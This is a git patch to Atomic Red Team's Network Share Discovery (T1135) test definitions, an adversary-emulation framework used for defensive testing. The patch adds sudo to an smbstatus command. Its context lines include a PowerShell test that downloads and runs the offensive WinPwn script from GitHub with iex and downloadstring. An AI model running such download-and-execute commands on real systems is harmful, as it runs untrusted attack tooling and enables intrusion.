From b1f18f38ff994599f529fd54b2bd4549f508ba0a Mon Sep 17 00:00:00 2001 From: Dan <31356438+danf42@users.noreply.github.com> Date: Fri, 1 Jul 2022 22:42:09 -0400 Subject: [PATCH] Update T1135-2 (#2021) Run smbstatus with sudo Co-authored-by: Carrie Roberts --- atomics/T1135/T1135.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1135/T1135.yaml b/atomics/T1135/T1135.yaml index 2303e376..d5304b29 100644 --- a/atomics/T1135/T1135.yaml +++ b/atomics/T1135/T1135.yaml @@ -43,7 +43,7 @@ atomic_tests: sudo #{package_installer} executor: command: | - smbstatus --shares + sudo smbstatus --shares name: bash elevation_required: true - name: Network Share Discovery command prompt @@ -131,4 +131,4 @@ atomic_tests: $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') shareenumeration -noninteractive -consoleoutput - name: powershell \ No newline at end of file + name: powershell